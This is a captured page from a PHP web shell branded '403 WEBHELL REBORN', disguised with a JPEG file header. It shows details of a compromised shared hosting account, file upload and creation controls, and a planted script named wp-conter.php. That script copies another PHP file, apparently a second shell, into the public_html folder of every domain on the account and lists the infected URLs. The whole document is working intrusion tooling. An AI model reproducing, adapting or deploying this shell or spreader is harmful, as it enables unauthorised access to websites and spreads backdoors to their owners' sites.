ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : LiteSpeed
System : Linux in-mum-web1876.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u772258013 ( 772258013)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u772258013/domains/client62.worshipbd.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/u772258013/domains/client62.worshipbd.com/public_html/wp-conter.php
<?php
// Mendapatkan direktori kerja saat ini
$path = getcwd();

// File yang akan diunggah
$source_file = 'wp-item.php'; // Ganti dengan nama file PHP Anda

// Regex untuk mengekstrak nama pengguna dari path '/home/username/domains/domain_name/public_html'
if (preg_match('/^\/home\/([^\/]+)\/domains\/([^\/]+)\/public_html\/?$/', $path, $matches)) {
    // Nama pengguna
    $user = $matches[1];
    echo "Nama pengguna yang ditemukan: " . htmlspecialchars($user) . "<br>";

    // Path ke direktori yang akan dibaca
    $dir_path = "/home/$user/domains/";

    // Membaca isi direktori
    if (is_dir($dir_path)) {
        if ($dh = opendir($dir_path)) {
            echo 'Mengunggah script ke dalam public_html di setiap folder di ' . htmlspecialchars($dir_path) . ':<br>';
            while (($file = readdir($dh)) !== false) {
                // Abaikan . dan .. serta hanya proses direktori
                if ($file != '.' && $file != '..' && is_dir($dir_path . DIRECTORY_SEPARATOR . $file)) {
                    $upload_dir = $dir_path . DIRECTORY_SEPARATOR . $file . DIRECTORY_SEPARATOR . "public_html";

                    // Cek apakah direktori public_html ada
                    if (is_dir($upload_dir)) {
                        $destination = $upload_dir . DIRECTORY_SEPARATOR . basename($source_file);
                        
                        // Menyalin file ke direktori tujuan
                        if (copy($source_file, $destination)) {
                            // Tampilkan hanya domain dan nama file
                            echo "http://" . htmlspecialchars($file . '/' . basename($source_file)) . "<br>";
                        } else {
                            echo "http://" . htmlspecialchars($file . '/' . basename($source_file)) . "<br>";
                        }
                    } else {
                        echo "Direktori 'public_html' tidak ditemukan di: " . htmlspecialchars($file) . "<br>";
                    }
                }
            }
            closedir($dh);
        } else {
            echo 'Tidak dapat membuka direktori.';
        }
    } else {
        echo 'Direktori tidak ditemukan.';
    }
} else {
    echo "Nama pengguna atau domain tidak dapat diekstraksi dari path.";
}
?>

Anon7 - 2021